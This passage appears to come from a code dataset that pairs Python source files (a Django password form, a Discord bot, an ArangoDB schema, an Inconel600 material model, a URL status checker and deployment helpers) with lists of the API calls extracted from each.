] | [((178, 193), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (183, 193), False, 'from flask import Flask, render_template, redirect, jsonify\n'), ((212, 227), 'data.DataRetriever', 'DataRetriever', ([], {}), '()\n', (225, 227), False, 'from data import DataRetriever\n'), ((335, 364), 'flask.render_template', 'render_template', (['"""index.html"""'], {}), "('index.html')\n", (350, 364), False, 'from flask import Flask, render_template, redirect, jsonify\n'), ((942, 986), 'flask.render_template', 'render_template', (['"""results.html"""'], {'sites': 'sites'}), "('results.html', sites=sites)\n", (957, 986), False, 'from flask import Flask, render_template, redirect, jsonify\n'), ((1526, 1551), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1549, 1551), False, 'import argparse\n'), ((434, 455), 'flask.request.form.values', 'request.form.values', ([], {}), '()\n', (453, 455), False, 'from flask import request\n'), ((538, 551), 'flask.redirect', 'redirect', (['"""/"""'], {}), "('/')\n", (546, 551), False, 'from flask import Flask, render_template, redirect, jsonify\n'), ((1858, 1894), 'gevent.pywsgi.WSGIServer', 'WSGIServer', (["('127.0.0.1', 3000)", 'app'], {}), "(('127.0.0.1', 3000), app)\n", (1868, 1894), False, 'from gevent.pywsgi import WSGIServer\n')] |
from django import forms
from django.contrib.auth.password_validation import CommonPasswordValidator
class ChangePasswordForm(forms.Form):
password = forms.CharField(label='密碼', max_length=50, widget=forms.PasswordInput)
def clean_password(self):
password = self.cleaned_data['password']
validator = CommonPasswordValidator()
validator.validate(password)
return password
| [
"django.contrib.auth.password_validation.CommonPasswordValidator",
"django.forms.CharField"
] | [((155, 225), 'django.forms.CharField', 'forms.CharField', ([], {'label': '"""密碼"""', 'max_length': '(50)', 'widget': 'forms.PasswordInput'}), "(label='密碼', max_length=50, widget=forms.PasswordInput)\n", (170, 225), False, 'from django import forms\n'), ((326, 351), 'django.contrib.auth.password_validation.CommonPasswordValidator', 'CommonPasswordValidator', ([], {}), '()\n', (349, 351), False, 'from django.contrib.auth.password_validation import CommonPasswordValidator\n')] |
# ------------------ [ Authors: ] ------------------ #
# <NAME>
# <NAME>
# <NAME>
import os, json, inspect, discord, asyncio, importlib, sys, keep_alive
from helper.cLog import elog
from helper.cEmbed import denied_msg, greeting_msg
from helper.User import User
from helper.Algorithm import Algorithm
from cDatabase.DB_Users import DB_Users
from helper.GitHub import GitHub
from helper.CF_API import CF_API
from cDatabase.DB_Algorithm import DB_Algorithm
from cDatabase.DB_Settings import DB_Settings
from background_tasks import my_background_task__Role_Management
config = json.load(open('config.json', 'r'))
client = discord.Client(intents= discord.Intents.all())
available_commands = dict()
available_modules = dict() # dict of dicts
db_users = DB_Users('db_users')
db_algo = DB_Algorithm('db_algorithms')
db_settings = DB_Settings('db_settings')
cf_api = CF_API()
github_api = GitHub()
def init_available_commands():
for (t1, t2, folder) in os.walk(config['cmds_loc']):
for item in folder:
if item[-3:] != '.py': continue
available_commands[item[:-3]] = importlib.import_module(config['cmds_loc'][2:] + '.' + item[:-3])
def init_available_modules():
for (path, general_folder, folder) in os.walk(config['module_cmds_loc']):
for inner_folder in general_folder: available_modules[inner_folder] = {}
current_folder = path.split(config["split_path"])[-1]
for item in folder:
if item[-3:] != ".py": continue
file_path = config['module_cmds_loc'][2:] + "." + current_folder + "." + item[:-3]
available_modules[current_folder][item[:-3]] = importlib.import_module(file_path)
def init_available_algorithms():
algo_lst = github_api.get_all_files()
algo_all = Algorithm().all()
for algo in algo_all:
if algo in algo_lst: continue
Algorithm(str_algo= algo).delete()
for algo in algo_lst:
x = Algorithm(str_algo= algo)
if x.lang not in ['cpp', 'java', 'py']: continue
x.add()
# ------------------ [ init() ] ------------------ #
# Iterates over names in "folder" file of "config["cmds_loc"]"
# Verifies if name is a command by checking if last 3 letters == ".py"
# Commands added to "available_commands", otherwise skipped
# Throws an exception if any error occurs while running, logged using "elog()" function
def init():
try:
init_available_commands()
init_available_modules()
init_available_algorithms()
return True
except Exception as ex:
elog(ex, inspect.stack())
return False
# ------------------ [ on_ready() ] ------------------ #
# Runs after running main.py
# Calls [ init() ]
# Sets bot status to "playing [prefix]help"
@client.event
async def on_ready():
if not init():
sys.exit('Check Error Log')
await client.change_presence(activity = discord.Game(config['default_prefix'] + "help"))
#await client.change_presence(status = discord.Status.offline)
print("Bot online.")
# ------------------ [ on_message() ] ------------------ #
# Runs after a user sends a message
# Checks if command called is not empty ex. "[prefix]"
# Checks if command called is in "available_commands"
# Throws an exception if any occurs while running, logged using "elog()" function
# Error message "denied_msg" sent to appropriate channel
@client.event
async def on_message(msg):
try:
prefix = db_settings.get_prefix(msg.guild)
if msg.content[:len(prefix)] != prefix or msg.author.bot: return
args = msg.content[len(prefix):].split()
if (len(args) == 0): return
command = args[0]
if command in available_commands.keys():
if command != "register" and not User(id= msg.author.id).is_registered():
desc = "You are not registered yet.\nUse `" + prefix + "register [YOUR_HANDLE]`"
await msg.reply(embed = denied_msg("Error", desc))
return
await available_commands[command].execute(msg, args[1:], client)
return
module = command
if module in available_modules.keys():
if len(args) < 2:
desc = "Try `" + prefix + module + " help` to see available commands for this module"
await msg.reply(embed = denied_msg("Warning", desc))
return
command = args[1]
if not command in available_modules[module].keys(): return
if command in ["help", "admin-help"]: await available_modules[module][command].execute(msg, args[2:], client, module)
elif command in ["commit"]: await available_modules[module][command].execute(msg, msg.content[len(prefix):].split('\n'), client)
else: await available_modules[module][command].execute(msg, args[2:], client)
except Exception as ex:
elog(ex, inspect.stack())
await msg.reply(embed = denied_msg())
# fix on member join
# implement on member leave (remove CodeX from DM)
@client.event
async def on_member_join(member):
try:
prefix = db_settings.get_prefix(member.guild)
channel = discord.DMChannel
await channel.send(member, embed= greeting_msg(prefix))
await channel.send(member, "First of all, you're gonna need a CodeForces account. If you don't have one, you can register on https://codeforces.com/register !!")
await channel.send(member, "Please Enter Your CodeForces Handle: ")
def is_valid(response):
handle = response.content
return cf_api.is_valid_handle(handle) and not User(handle= handle).is_taken_handle()
try:
msg = await client.wait_for('message', check= is_valid, timeout= 60.0)
user = User(id= msg.author.id, handle= msg.content, client= client)
if user.is_taken_id(): user.change_handle(msg.content)
else: user.register()
await user.update_roles()
except asyncio.TimeoutError:
desc = "Use `" + prefix + "register [YOUR_HANDLE]` to register!"
await channel.send(member, embed = denied_msg("You Took Too Long To Answer", desc))
return
await channel.send(member, User(id= member.id).tag() + ", Welcome to The Team!!")
except Exception as ex:
elog(ex, inspect.stack())
await channel.send(member, embed = denied_msg())
@client.event
async def on_member_remove(member):
try:
channel = discord.DMChannel
User(id= member.id).delete()
await channel.send(member, User(id= member.id).tag() + ", We're Sorry to See You Go!")
except Exception as ex:
elog(ex, inspect.stack())
await channel.send(member, embed = denied_msg())
# Initialize db_setting on_guild_join
client.loop.create_task(my_background_task__Role_Management(client))
keep_alive.keep_alive()
client.run(config['Discord_Token'])
| [
"cDatabase.DB_Settings.DB_Settings",
"background_tasks.my_background_task__Role_Management",
"importlib.import_module",
"cDatabase.DB_Algorithm.DB_Algorithm",
"helper.User.User",
"helper.GitHub.GitHub",
"inspect.stack",
"discord.Game",
"keep_alive.keep_alive",
"discord.Intents.all",
"helper.Algo... | [((765, 785), 'cDatabase.DB_Users.DB_Users', 'DB_Users', (['"""db_users"""'], {}), "('db_users')\n", (773, 785), False, 'from cDatabase.DB_Users import DB_Users\n'), ((796, 825), 'cDatabase.DB_Algorithm.DB_Algorithm', 'DB_Algorithm', (['"""db_algorithms"""'], {}), "('db_algorithms')\n", (808, 825), False, 'from cDatabase.DB_Algorithm import DB_Algorithm\n'), ((840, 866), 'cDatabase.DB_Settings.DB_Settings', 'DB_Settings', (['"""db_settings"""'], {}), "('db_settings')\n", (851, 866), False, 'from cDatabase.DB_Settings import DB_Settings\n'), ((876, 884), 'helper.CF_API.CF_API', 'CF_API', ([], {}), '()\n', (882, 884), False, 'from helper.CF_API import CF_API\n'), ((898, 906), 'helper.GitHub.GitHub', 'GitHub', ([], {}), '()\n', (904, 906), False, 'from helper.GitHub import GitHub\n'), ((6929, 6952), 'keep_alive.keep_alive', 'keep_alive.keep_alive', ([], {}), '()\n', (6950, 6952), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((968, 995), 'os.walk', 'os.walk', (["config['cmds_loc']"], {}), "(config['cmds_loc'])\n", (975, 995), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((1252, 1286), 'os.walk', 'os.walk', (["config['module_cmds_loc']"], {}), "(config['module_cmds_loc'])\n", (1259, 1286), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((6884, 6927), 'background_tasks.my_background_task__Role_Management', 'my_background_task__Role_Management', (['client'], {}), '(client)\n', (6919, 6927), False, 'from background_tasks import my_background_task__Role_Management\n'), ((659, 680), 'discord.Intents.all', 'discord.Intents.all', ([], {}), '()\n', (678, 680), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((1948, 1972), 'helper.Algorithm.Algorithm', 'Algorithm', ([], {'str_algo': 'algo'}), '(str_algo=algo)\n', (1957, 1972), False, 'from helper.Algorithm import Algorithm\n'), ((2853, 2880), 'sys.exit', 'sys.exit', (['"""Check Error Log"""'], {}), "('Check Error Log')\n", (2861, 2880), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((1113, 1178), 'importlib.import_module', 'importlib.import_module', (["(config['cmds_loc'][2:] + '.' + item[:-3])"], {}), "(config['cmds_loc'][2:] + '.' + item[:-3])\n", (1136, 1178), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((1657, 1691), 'importlib.import_module', 'importlib.import_module', (['file_path'], {}), '(file_path)\n', (1680, 1691), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((1783, 1794), 'helper.Algorithm.Algorithm', 'Algorithm', ([], {}), '()\n', (1792, 1794), False, 'from helper.Algorithm import Algorithm\n'), ((5828, 5885), 'helper.User.User', 'User', ([], {'id': 'msg.author.id', 'handle': 'msg.content', 'client': 'client'}), '(id=msg.author.id, handle=msg.content, client=client)\n', (5832, 5885), False, 'from helper.User import User\n'), ((1873, 1897), 'helper.Algorithm.Algorithm', 'Algorithm', ([], {'str_algo': 'algo'}), '(str_algo=algo)\n', (1882, 1897), False, 'from helper.Algorithm import Algorithm\n'), ((2589, 2604), 'inspect.stack', 'inspect.stack', ([], {}), '()\n', (2602, 2604), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((2926, 2973), 'discord.Game', 'discord.Game', (["(config['default_prefix'] + 'help')"], {}), "(config['default_prefix'] + 'help')\n", (2938, 2973), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((4947, 4962), 'inspect.stack', 'inspect.stack', ([], {}), '()\n', (4960, 4962), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((6395, 6410), 'inspect.stack', 'inspect.stack', ([], {}), '()\n', (6408, 6410), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((6575, 6593), 'helper.User.User', 'User', ([], {'id': 'member.id'}), '(id=member.id)\n', (6579, 6593), False, 'from helper.User import User\n'), ((6745, 6760), 'inspect.stack', 'inspect.stack', ([], {}), '()\n', (6758, 6760), False, 'import os, json, inspect, discord, asyncio, importlib, sys, keep_alive\n'), ((5274, 5294), 'helper.cEmbed.greeting_msg', 'greeting_msg', (['prefix'], {}), '(prefix)\n', (5286, 5294), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((4997, 5009), 'helper.cEmbed.denied_msg', 'denied_msg', ([], {}), '()\n', (5007, 5009), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((6456, 6468), 'helper.cEmbed.denied_msg', 'denied_msg', ([], {}), '()\n', (6466, 6468), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((6806, 6818), 'helper.cEmbed.denied_msg', 'denied_msg', ([], {}), '()\n', (6816, 6818), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((3818, 3840), 'helper.User.User', 'User', ([], {'id': 'msg.author.id'}), '(id=msg.author.id)\n', (3822, 3840), False, 'from helper.User import User\n'), ((3996, 4021), 'helper.cEmbed.denied_msg', 'denied_msg', (['"""Error"""', 'desc'], {}), "('Error', desc)\n", (4006, 4021), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((4387, 4414), 'helper.cEmbed.denied_msg', 'denied_msg', (['"""Warning"""', 'desc'], {}), "('Warning', desc)\n", (4397, 4414), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((5673, 5692), 'helper.User.User', 'User', ([], {'handle': 'handle'}), '(handle=handle)\n', (5677, 5692), False, 'from helper.User import User\n'), ((6191, 6238), 'helper.cEmbed.denied_msg', 'denied_msg', (['"""You Took Too Long To Answer"""', 'desc'], {}), "('You Took Too Long To Answer', desc)\n", (6201, 6238), False, 'from helper.cEmbed import denied_msg, greeting_msg\n'), ((6295, 6313), 'helper.User.User', 'User', ([], {'id': 'member.id'}), '(id=member.id)\n', (6299, 6313), False, 'from helper.User import User\n'), ((6640, 6658), 'helper.User.User', 'User', ([], {'id': 'member.id'}), '(id=member.id)\n', (6644, 6658), False, 'from helper.User import User\n')] |
import logging
from arango.exceptions import (
CollectionCreateError
)
from multichaindb import backend
from multichaindb.backend.localarangodb.connection import LocalArangoDBConnection
from multichaindb.backend.utils import module_dispatch_registrar
logger = logging.getLogger(__name__)
register_schema = module_dispatch_registrar(backend.schema)
INDEXES = {
'transactions': [
(['id'], dict(unique=True, name='transaction_id')),
(['asset.id'], dict(name='asset_id')),
(['outputs.public_keys'], dict(name='outputs')),
(['inputs.fulfills.transaction_id',
'inputs.fulfills.output_index'], dict(name='inputs'))
],
'assets': [
(['id'], dict(name='asset_id', unique=True))
],
'blocks': [
(['height'], dict(name='height', unique=True))
],
'metadata': [
(['id'], dict(name='transaction_id', unique=True))
],
'utxos': [
(['transaction_id', 'output_index'], dict(name='utxo', unique=True))
],
'pre_commit': [
(['height'], dict(name='height', unique=True))
],
'elections': [
(['height', 'election_id'], dict(name='election_id_height', unique=True))
],
'validators': [
(['height'], dict(name='height', unique=True))
],
'abci_chains': [
(['height'], dict(name='height', unique=True)),
(['chain_id'], dict(name='chain_id', unique=True))
]
}
@register_schema(LocalArangoDBConnection)
def create_database(conn, dbname):
logger.info('Create database `%s`.', dbname)
# TODO: read and write concerns can be declared here
if not conn.conn.has_database(dbname):
conn.conn.create_database(dbname)
@register_schema(LocalArangoDBConnection)
def create_tables(conn, dbname):
for table_name in backend.schema.TABLES:
# create the table
# TODO: read and write concerns can be declared here
try:
logger.info(f'Create `{table_name}` table.')
conn.conn[dbname].create_collection(name=table_name)
except CollectionCreateError:
logger.info(f'Collection {table_name} already exists.')
# Add here new index for each collection
create_indexes(conn, dbname, table_name, INDEXES[table_name])
def create_indexes(conn, dbname, collection, indexes):
logger.info(f'Ensure secondary indexes for `{collection}`.')
for fields, kwargs in indexes:
conn.conn[dbname][collection].add_hash_index(fields, **kwargs)
@register_schema(LocalArangoDBConnection)
def drop_database(conn, dbname):
conn.conn.delete_database(dbname) | [
"logging.getLogger",
"multichaindb.backend.utils.module_dispatch_registrar"
] | [((268, 295), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (285, 295), False, 'import logging\n'), ((314, 355), 'multichaindb.backend.utils.module_dispatch_registrar', 'module_dispatch_registrar', (['backend.schema'], {}), '(backend.schema)\n', (339, 355), False, 'from multichaindb.backend.utils import module_dispatch_registrar\n')] |
# Copyright 2019 TerraPower, LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Inconel600
"""
import numpy
from armi.utils.units import getTc
from armi.materials.material import Material
class Inconel600(Material):
name = "Inconel600"
references = {
"mass fractions": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
"density": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
"thermalConductivity": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
"specific heat": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
"linear expansion percent": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
"linear expansion": "http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf",
}
def __init__(self):
Material.__init__(self)
self.p.refTempK = 294.15
self.p.refDens = 8.47 # g/cc
# Only density measurement presented in the reference.
# Presumed to be performed at 21C since this was the reference temperature for linear expansion measurements.
def setDefaultMassFracs(self):
massFracs = {
"NI": 0.7541,
"CR": 0.1550,
"FE": 0.0800,
"C": 0.0008,
"MN55": 0.0050,
"S": 0.0001,
"SI": 0.0025,
"CU": 0.0025,
}
for element, massFrac in massFracs.items():
self.setMassFrac(element, massFrac)
def polyfitThermalConductivity(self, power=2):
r"""
Calculates the coefficients of a polynomial fit for thermalConductivity.
Based on data from http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf
Fits a polynomial to the data set and returns the coefficients.
Parameters
----------
power : int, optional
power of the polynomial fit equation
Returns
-------
list of length 'power' containing the polynomial fit coefficients for thermal conductivity.
"""
Tc = [20.0, 100.0, 200.0, 300.0, 400.0, 500.0, 600.0, 700.0, 800.0]
k = [14.9, 15.9, 17.3, 19.0, 20.5, 22.1, 23.9, 25.7, 27.5]
return numpy.polyfit(numpy.array(Tc), numpy.array(k), power).tolist()
def thermalConductivity(self, Tk=None, Tc=None):
r"""
Returns the thermal conductivity of Inconel600.
Parameters
----------
Tk : float, optional
temperature in (K)
Tc : float, optional
Temperature in (C)
Returns
-------
thermalCond : float
thermal conductivity in W/m/C
"""
Tc = getTc(Tc, Tk)
self.checkTempRange(20.0, 800.0, Tc, "thermal conductivity")
thermalCond = 3.4938e-6 * Tc ** 2 + 1.3403e-2 * Tc + 14.572
return thermalCond # W/m-C
def polyfitHeatCapacity(self, power=2):
r"""
Calculates the coefficients of a polynomial fit for heatCapacity.
Based on data from http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf
Fits a polynomial to the data set and returns the coefficients.
Parameters
----------
power : int, optional
power of the polynomial fit equation
Returns
-------
list of length 'power' containing the polynomial fit coefficients for heat capacity.
"""
Tc = [20.0, 100.0, 200.0, 300.0, 400.0, 500.0, 600.0, 700.0, 800.0, 900.0]
cp = [444.0, 465.0, 486.0, 502.0, 519.0, 536.0, 578.0, 595.0, 611.0, 628.0]
return numpy.polyfit(numpy.array(Tc), numpy.array(cp), power).tolist()
def heatCapacity(self, Tk=None, Tc=None):
r"""
Returns the specific heat capacity of Inconel600.
Parameters
----------
Tk : float, optional
Temperature in Kelvin.
Tc : float, optional
Temperature in degrees Celsius.
Returns
-------
heatCapacity : float
heat capacity in J/kg/C
"""
Tc = getTc(Tc, Tk)
self.checkTempRange(20, 900, Tc, "heat capacity")
heatCapacity = 7.4021e-6 * Tc ** 2 + 0.20573 * Tc + 441.3
return heatCapacity # J/kg-C
def polyfitLinearExpansionPercent(self, power=2):
r"""
Calculates the coefficients of a polynomial fit for linearExpansionPercent.
Based on data from http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf
Uses mean CTE values to find percent thermal strain values. Fits a polynomial
to the data set and returns the coefficients.
Parameters
----------
power : int, optional
power of the polynomial fit equation
Returns
-------
list of length 'power' containing the polynomial fit coefficients for linearExpansionPercent
"""
refTempC = getTc(None, Tk=self.p.refTempK)
Tc = [100.0, 200.0, 300.0, 400.0, 500.0, 600.0, 700.0, 800.0, 900.0]
alpha_mean = [
1.33e-05,
1.38e-05,
1.42e-05,
1.45e-05,
1.49e-05,
1.53e-05,
1.58e-05,
1.61e-05,
1.64e-05,
]
linExpPercent = [0.0]
for i, alpha in enumerate(alpha_mean):
linExpPercentVal = 100.0 * alpha * (Tc[i] - refTempC)
linExpPercent.append(linExpPercentVal)
Tc.insert(0, refTempC)
return numpy.polyfit(
numpy.array(Tc), numpy.array(linExpPercent), power
).tolist()
def linearExpansionPercent(self, Tk=None, Tc=None):
r"""
Returns percent linear expansion of Inconel600.
Parameters
----------
Tk : float
temperature in (K)
Tc : float
Temperature in (C)
Returns
-------
linExpPercent in %-m/m/C
"""
Tc = getTc(Tc, Tk)
self.checkTempRange(21.0, 900.0, Tc, "linear expansion percent")
linExpPercent = 3.722e-7 * Tc ** 2 + 1.303e-3 * Tc - 2.863e-2
return linExpPercent
def linearExpansion(self, Tk=None, Tc=None):
r"""
From http://www.specialmetals.com/documents/Inconel%20alloy%20600.pdf
Using the correlation for linearExpansionPercent, the 2nd order polynomial is divided by 100 to convert
from percent strain to strain, then differentiated with respect to temperature to find the correlation
for instantaneous linear expansion.
i.e. for a linearExpansionPercent correlation of a*Tc**2 + b*Tc + c, the linearExpansion correlation is 2*a/100*Tc + b/100
2*(3.722e-7/100.0)*Tc + 1.303e-3/100.0
Parameters
----------
Tk : float
temperature in (K)
Tc : float
Temperature in (C)
Returns
-------
linExp in m/m/C
"""
Tc = getTc(Tc, Tk)
self.checkTempRange(21.0, 900.0, Tc, "linear expansion")
linExp = 7.444e-9 * Tc + 1.303e-5
return linExp
| [
"numpy.array",
"armi.utils.units.getTc",
"armi.materials.material.Material.__init__"
] | [((1378, 1401), 'armi.materials.material.Material.__init__', 'Material.__init__', (['self'], {}), '(self)\n', (1395, 1401), False, 'from armi.materials.material import Material\n'), ((3236, 3249), 'armi.utils.units.getTc', 'getTc', (['Tc', 'Tk'], {}), '(Tc, Tk)\n', (3241, 3249), False, 'from armi.utils.units import getTc\n'), ((4640, 4653), 'armi.utils.units.getTc', 'getTc', (['Tc', 'Tk'], {}), '(Tc, Tk)\n', (4645, 4653), False, 'from armi.utils.units import getTc\n'), ((5485, 5516), 'armi.utils.units.getTc', 'getTc', (['None'], {'Tk': 'self.p.refTempK'}), '(None, Tk=self.p.refTempK)\n', (5490, 5516), False, 'from armi.utils.units import getTc\n'), ((6522, 6535), 'armi.utils.units.getTc', 'getTc', (['Tc', 'Tk'], {}), '(Tc, Tk)\n', (6527, 6535), False, 'from armi.utils.units import getTc\n'), ((7520, 7533), 'armi.utils.units.getTc', 'getTc', (['Tc', 'Tk'], {}), '(Tc, Tk)\n', (7525, 7533), False, 'from armi.utils.units import getTc\n'), ((2776, 2791), 'numpy.array', 'numpy.array', (['Tc'], {}), '(Tc)\n', (2787, 2791), False, 'import numpy\n'), ((2793, 2807), 'numpy.array', 'numpy.array', (['k'], {}), '(k)\n', (2804, 2807), False, 'import numpy\n'), ((4172, 4187), 'numpy.array', 'numpy.array', (['Tc'], {}), '(Tc)\n', (4183, 4187), False, 'import numpy\n'), ((4189, 4204), 'numpy.array', 'numpy.array', (['cp'], {}), '(cp)\n', (4200, 4204), False, 'import numpy\n'), ((6095, 6110), 'numpy.array', 'numpy.array', (['Tc'], {}), '(Tc)\n', (6106, 6110), False, 'import numpy\n'), ((6112, 6138), 'numpy.array', 'numpy.array', (['linExpPercent'], {}), '(linExpPercent)\n', (6123, 6138), False, 'import numpy\n')] |
# -*- coding: utf-8 -*-
"""
An example url status checker implementation consumes urls from a queue.
"""
import threading
import queue
import requests
class StatusChecker(threading.Thread):
"""
The thread that will check HTTP statuses.
"""
#: The queue of urls
url_queue = None
#: The queue our results will go into
result_queue = None
def __init__(self, url_queue, result_queue):
super().__init__()
self.url_queue = url_queue
self.result_queue = result_queue
def run(self):
while True:
try:
# this will throw queue.Empty immediately if there's
# no tasks left
to_check = self.url_queue.get_nowait()
except queue.Empty:
break # empty queue, we're done!
else:
resp = requests.get(to_check)
self.result_queue.put((to_check, resp.status_code,))
self.url_queue.task_done() # the the queue we're done
if __name__ == '__main__':
urls = (
'http://httpbin.org/status/418',
'http://httpbin.org/status/200',
'http://httpbin.org/status/404',
'http://httpbin.org/status/500',
)
url_queue = queue.Queue()
for url in urls:
url_queue.put(url)
result_queue = queue.Queue()
num_workers = 2
for i in range(num_workers):
t = StatusChecker(url_queue, result_queue)
print('Starting worker {}'.format(i))
t.start()
# wait for the queue to empty
url_queue.join()
while not result_queue.empty():
url, status = result_queue.get_nowait()
print('{} - {}'.format(url, status))
| [
"queue.Queue",
"requests.get"
] | [((1247, 1260), 'queue.Queue', 'queue.Queue', ([], {}), '()\n', (1258, 1260), False, 'import queue\n'), ((1329, 1342), 'queue.Queue', 'queue.Queue', ([], {}), '()\n', (1340, 1342), False, 'import queue\n'), ((856, 878), 'requests.get', 'requests.get', (['to_check'], {}), '(to_check)\n', (868, 878), False, 'import requests\n')] |
from logging import getLogger
import shutil
from configparser import ConfigParser
from pathlib import Path
import yaml
from dulwich.errors import NotGitRepository
from dulwich.repo import Repo
from matador import git
logger = getLogger(__name__)
def deployment_repository(project_folder):
project = Path(project_folder).name
deployment_folder = Path(Path.home(), '.matador', project)
deployment_repo_folder = Path(deployment_folder, 'repository')
Path.mkdir(deployment_folder, parents=True, exist_ok=True)
Path.mkdir(deployment_repo_folder, parents=True, exist_ok=True)
try:
repo = Repo(str(deployment_repo_folder))
except NotGitRepository:
config_file = Path(deployment_repo_folder, '.git', 'config')
config = ConfigParser()
repo = Repo.init(str(deployment_repo_folder))
config.read(str(config_file))
config['core']['sparsecheckout'] = 'true'
config['remote "origin"'] = {
'url': project_folder.as_posix(),
'fetch': '+refs/heads/*:refs/remotes/origin/*'
}
with config_file.open('w') as f:
config.write(f)
sparse_checkout_file = Path(
deployment_repo_folder, '.git', 'info', 'sparse-checkout')
with sparse_checkout_file.open('a') as f:
f.write('/src\n')
f.write('/deploy\n')
return repo
def ticket_deployment_folder(environment, ticket, commit, packaged):
project_repo = Repo.discover()
project_folder = Path(project_repo.path)
project = project_folder.name
ticket_deployment_folder = Path(
Path.home(), '.matador', project, environment, 'tickets', ticket)
if commit is None:
commit = project_repo.head().decode(encoding='ascii')
deployment_repo = deployment_repository(project_folder)
ticket_src_folder = Path(deployment_repo.path, 'deploy', 'tickets', ticket)
if not packaged:
git.fetch_all(project_repo, deployment_repo)
shutil.rmtree(str(ticket_deployment_folder), ignore_errors=True)
git.checkout(deployment_repo, commit)
shutil.copytree(str(ticket_src_folder), str(ticket_deployment_folder))
return ticket_deployment_folder
def package_definition(environment, package, commit):
project_repo = Repo.discover()
project_folder = Path(project_repo.path)
project = project_folder.name
package_deployment_folder = Path(
Path.home(), '.matador', project, environment, 'packages', package)
deployment_repo = deployment_repository(project_folder)
package_src_folder = Path(
deployment_repo.path, 'deploy', 'packages', package)
git.fetch_all(project_repo, deployment_repo)
shutil.rmtree(str(package_deployment_folder), ignore_errors=True)
git.checkout(deployment_repo, commit)
shutil.copytree(str(package_src_folder), str(package_deployment_folder))
tickets_file = Path(package_deployment_folder, 'tickets.yml')
return tickets_file
def environments():
project_folder = Path(Repo.discover().path)
file_path = Path(
project_folder, 'config', 'environments.yml')
try:
file = file_path.open('r')
environments = yaml.load(file)
if environments:
return environments
else:
raise ValueError()
except FileNotFoundError:
logger.error('Cannot find environments.yml file')
except ValueError:
logger.error('environments.yml exists but is empty')
def credentials():
project_folder = Path(Repo.discover().path)
file_path = Path(
project_folder, 'config', 'credentials.yml')
try:
file = file_path.open('r')
credentials = yaml.load(file)
if credentials:
return credentials
else:
raise ValueError()
except FileNotFoundError:
logger.error('Cannot find credentials.yml file')
except ValueError:
logger.error('credentials.yml exists but is empty')
| [
"logging.getLogger",
"matador.git.checkout",
"configparser.ConfigParser",
"pathlib.Path",
"pathlib.Path.home",
"matador.git.fetch_all",
"yaml.load",
"pathlib.Path.mkdir",
"dulwich.repo.Repo.discover"
] | [((229, 248), 'logging.getLogger', 'getLogger', (['__name__'], {}), '(__name__)\n', (238, 248), False, 'from logging import getLogger\n'), ((426, 463), 'pathlib.Path', 'Path', (['deployment_folder', '"""repository"""'], {}), "(deployment_folder, 'repository')\n", (430, 463), False, 'from pathlib import Path\n'), ((469, 527), 'pathlib.Path.mkdir', 'Path.mkdir', (['deployment_folder'], {'parents': '(True)', 'exist_ok': '(True)'}), '(deployment_folder, parents=True, exist_ok=True)\n', (479, 527), False, 'from pathlib import Path\n'), ((532, 595), 'pathlib.Path.mkdir', 'Path.mkdir', (['deployment_repo_folder'], {'parents': '(True)', 'exist_ok': '(True)'}), '(deployment_repo_folder, parents=True, exist_ok=True)\n', (542, 595), False, 'from pathlib import Path\n'), ((1481, 1496), 'dulwich.repo.Repo.discover', 'Repo.discover', ([], {}), '()\n', (1494, 1496), False, 'from dulwich.repo import Repo\n'), ((1518, 1541), 'pathlib.Path', 'Path', (['project_repo.path'], {}), '(project_repo.path)\n', (1522, 1541), False, 'from pathlib import Path\n'), ((1856, 1911), 'pathlib.Path', 'Path', (['deployment_repo.path', '"""deploy"""', '"""tickets"""', 'ticket'], {}), "(deployment_repo.path, 'deploy', 'tickets', ticket)\n", (1860, 1911), False, 'from pathlib import Path\n'), ((2060, 2097), 'matador.git.checkout', 'git.checkout', (['deployment_repo', 'commit'], {}), '(deployment_repo, commit)\n', (2072, 2097), False, 'from matador import git\n'), ((2284, 2299), 'dulwich.repo.Repo.discover', 'Repo.discover', ([], {}), '()\n', (2297, 2299), False, 'from dulwich.repo import Repo\n'), ((2321, 2344), 'pathlib.Path', 'Path', (['project_repo.path'], {}), '(project_repo.path)\n', (2325, 2344), False, 'from pathlib import Path\n'), ((2578, 2635), 'pathlib.Path', 'Path', (['deployment_repo.path', '"""deploy"""', '"""packages"""', 'package'], {}), "(deployment_repo.path, 'deploy', 'packages', package)\n", (2582, 2635), False, 'from pathlib import 